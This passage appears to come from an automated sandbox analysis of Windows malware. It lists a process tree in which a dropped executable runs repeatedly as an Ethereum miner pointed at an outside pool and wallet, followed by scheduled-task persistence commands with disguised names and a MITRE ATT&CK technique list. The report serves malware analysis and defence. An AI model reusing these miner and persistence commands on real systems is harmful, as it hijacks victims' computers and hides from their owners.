      Executes dropped EXE
      PID:3392
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:4972
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:4992
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:4984
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:760
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:5056
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:5080
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:968
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:1172
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:5100
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:2516
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:1864
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:2008
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:4284
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:4172
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:4340
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:4344
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4332
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:1548
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4516
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4544
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4596
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4592
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4616
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:3680
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:3348
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4044
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:2064
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4060
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:2392
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:3564
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4640
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:436
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4636
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4744
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4820
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:1272
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4844
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4880
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4908
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4892
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4688
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4924
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4916
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4884
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4960
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4568
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:2496
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:2748
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4824
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4776
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:5004
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:1456
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:2608
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:3408
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:3708
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:5076
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:1352
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:2796
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4120
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:5064
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4252
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2616 -s 1900
  2⤵
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:2168

C:\Users\Admin\AppData\Local\Temp\857B.exe
C:\Users\Admin\AppData\Local\Temp\857B.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1912
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /fdsfs
  2⤵
  PID:584
- C:\Users\Admin\AppData\Local\Temp\857B.exe
  "C:\Users\Admin\AppData\Local\Temp\857B.exe"
  2⤵
  - Executes dropped EXE
  PID:936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files\Common Files\microsoft shared\ClickToRun\StreamServer\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Windows\appcompat\Programs\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WerFault" /sc ONLOGON /tr "'C:\Windows\SysWOW64\bootcfg\WerFault.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "7A7C" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\BroadcastMsg_1630502358\7A7C.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "DriverRealtekHDmaster" /sc ONLOGON /tr "'C:\PerfLogs\DriverRealtekHDmaster.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1588

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "857B" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\sa.9NBLGGH1ZRPV_0_0010_.Public.InstallAgent\857B.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1940

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4176

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Winlogon Helper DLL

T1004

Privilege Escalation

Scheduled Task

Defense Evasion

File Deletion

T1107

Install Root Certificate

T1130

Modify Registry

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery